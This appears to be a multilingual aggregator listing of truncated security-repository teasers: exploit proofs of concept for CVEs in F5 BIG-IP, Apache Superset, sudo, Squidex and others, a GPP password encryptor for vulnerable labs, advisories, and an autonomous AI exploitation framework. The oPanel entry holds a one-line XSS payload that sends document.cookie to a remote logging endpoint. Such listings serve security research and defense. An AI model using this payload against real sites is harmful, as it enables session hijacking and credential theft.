gpp-encrypt

gpp-encrypt 描述 这个小脚本将密码加密为 gpp cpassword。它可用于创建易受攻击的实验 AD 环境。 环境要求 该包需要： python3 python3 标准库 安装 root@kitploit: git clone "https://github.com/mauricelambert/gpp-encrypt.git" cd "gpp-encrypt" python3 -m pip install -r requirements.txt 用法 命令行 root@kitploit: python3 gpp-encrypt.py Using python script...

refreshing-soap-exploit

这是 CVE-2022-41622 的概念验证，该漏洞是 F5 Big-IP 中的跨站请求伪造，可导致远程代码执行。使用起来有点麻烦，但我会带你了解我最喜欢的用例。 漏洞 核心漏洞是 F5 Big-IP SOAP 接口中的跨站请求伪造，该接口通过 /iControl/iControlPortal.cgi 访问，并且以 root 身份运行。但尽管是 root，我们仍受到 SELinux 策略的限制，这使得利用变得困难。不过，我们将在下面展示一些绕过方法。 SOAP 接口没有 CSRF 保护，这意味着攻击者可以利用经过身份验证的用户的会话执行任何支持的 SOAP 请求。已包含完整 WSDL...

CVE-2025-1639

🔓 CVE-2025-1639 のエクスプロイトスクリプト 📝 説明 WordPress用Animation Addons for Elementor Proプラグインは、バージョン1.6までの全バージョンにおいて、installelementorpluginhandler...

CVE-2023-27524-POC

CVE-2023-27524: Bypass de autenticación en Apache Superset Script para comprobar si un servidor Apache Superset es vulnerable a CVE-2023-27524 y, si lo es, forjar una cookie de sesión con el userid = 1, que normalmente es el usuario admin, lo que permite omitir la autenticación y obtener acceso a...

CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "重要なリソースに対する不適切な権限割り当ての脆弱性がQsync Centralに影響を与えることが報告されています。悪用された場合、認証されたユーザーがネットワーク経由でリソースを読み取りまたは変更できる可能性があります。" 発見日: 2023年12月5日 修正日: 2024年2月...

vCenter-Server-Workaround-Script-CVE-2021-44228

vCenter Server 回避策手順 CVE-2021-44228 vCenter Server における CVE-2021-44228 への回避策手順 VMware vCenter log4j 回避策 これは、VMware vCenter log4j 脆弱性 CVE-2021-44228 の回避策プロセスをまとめた単一のスクリプトです。 VMware は KB 記事にリンクされた Python スクリプトをリリースしました（はるかに優れた動作をします :- 簡易的ですが迅速な方法がお好みでない場合は… 回避策を適用し検証する cve-workaround 検証のみ実行する...

CVE-2023-30212

CVE-2023-30212 ラボのセットアップ 前提条件 docker.io をダウンロードする sudo apt install -y docker.io 手順 1. 以下のコマンドを使用して、私のリポジトリからすべてのファイルをダウンロードします。 git clone https://github.com/AAsh035/CVE-2023-30212.git 2. 次に、Docker イメージを作成するために以下のコマンドを実行します。 sudo docker build -t vuln . 3. 次に、Docker イメージをコンテナに変更します。コンテナはポート 80...

CVE-2026-90543

WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier, with the Live plugin enabled, contains a missing authentication vulnerability in plugin/Live/socketMessageLiveOwner.json.php. The script reads the key and msg parameters from $REQUEST, resolves the stream owner via...

cve-2021-3156

Vulnerabilidad de desbordamiento de montón en sudo CVE-2021-3156 Resumen de la vulnerabilidad Un equipo de investigación extranjero descubrió la vulnerabilidad de desbordamiento de montón en sudo CVE-2021-3156, que permaneció oculta durante diez años. Un usuario común puede explotar esta...

CVE-2026-50980

CVE-2026-50980：基于 DNS 的跨站脚本攻击（XSS）及会话劫持（oPanel） 概述 CVE ID： CVE-2026-50980 产品： oPanel 受影响版本： new Image.src='http://:/log?cookie='+document.cookie;...

CVE-2025-57310

CVE-2025-57310 Salmen2/Simple-Faucet-Script v1.07 中存在一个跨站请求伪造（CSRF）漏洞，攻击者可通过向 admin.php?p=ads&c=1 发送特制的 POST 请求来执行任意代码。 CWE CWE-352：跨站请求伪造（CSRF） CVSS v3.1 基础评分：8.8（高危） root@kitploit: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 摘要 该产品在管理面板上存在跨站请求伪造（CSRF）漏洞。当已认证的管理员访问包含 PoC 的恶意页面时，CSRF...

CVE-2023-24278

CVE-2023-24278 - Squidex 中的反射型 XSS 漏洞 概述 CVE ID: CVE-2023-24278 受影响产品: Squidex 7.4.0 之前的所有版本 报告者: Ioannis Christodoulakos 本仓库提供了关于 Squidex 开源无头 CMS 软件中发现的两个反射型跨站脚本（XSS）漏洞的信息及利用方式。这些漏洞影响 7.4.0 之前的所有版本，攻击者可通过向 /squid.svg 端点的特定查询参数中注入代码，在受害者浏览器中执行恶意 JavaScript 代码。 漏洞详情 漏洞是由于 /squid.svg 端点的 text 和...

spring-cloud__spring-cloud-config_CVE-2020-5410_2-1-8-RELEASE

//// 请勿编辑此文件。它是自动生成的。 对此文件的手动更改将在重新生成时丢失。 请改为编辑 src/main/asciidoc/ 目录下的文件。 //// image::https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master.svg?style=svg"CircleCI", link="https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master"...

redamon v6.14.1

Unmask the hidden before the world does An autonomous AI framework that chains reconnaissance, exploitation, and post-exploitation into a single pipeline, then goes further by triaging every finding, implementing code fixes, and opening pull requests on your repository. From first packet to merge...

spring-cloud__spring-cloud-config_CVE-2020-5405_2-1-6-RELEASE

//// このファイルは編集しないでください。自動生成されています。 このファイルへの手動変更は、再生成時に失われます。 代わりに、src/main/asciidoc/ ディレクトリ内のファイルを編集してください。 //// image::https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master.svg?style=svg"CircleCI", link="https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master"...

CVE-2024-50488

CVE-2024-50488 Token Login history.pushState'', '', '/'; document.forms0.submit; 响应 root@kitploit: "status":"success","message":"Successfully regenerated token!","tokenurl":"http://kubernetes.docker.internal?token=1c8dc9406bc444d1f5cea37fae130f92"...

sh53d-temp-root

SH-53D temporary root This is a build-specific proof of conce...

CVE-2026-90543 WWBN AVideo Missing Authentication via socketMessageLiveOwner.json.php

WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier, with the Live plugin enabled, contains a missing authentication vulnerability in plugin/Live/socketMessageLiveOwner.json.php. The script reads the key and msg parameters from $REQUEST, resolves the stream owner via...

CVE-2026-90543 WWBN AVideo Missing Authentication via socketMessageLiveOwner.json.php

WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier, with the Live plugin enabled, contains a missing authentication vulnerability in plugin/Live/socketMessageLiveOwner.json.php. The script reads the key and msg parameters from $REQUEST, resolves the stream owner via...

EUVD-2026-76861

WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier, with the Live plugin enabled, contains a missing authentication vulnerability in plugin/Live/socketMessageLiveOwner.json.php. The script reads the key and msg parameters from $REQUEST, resolves the stream owner via...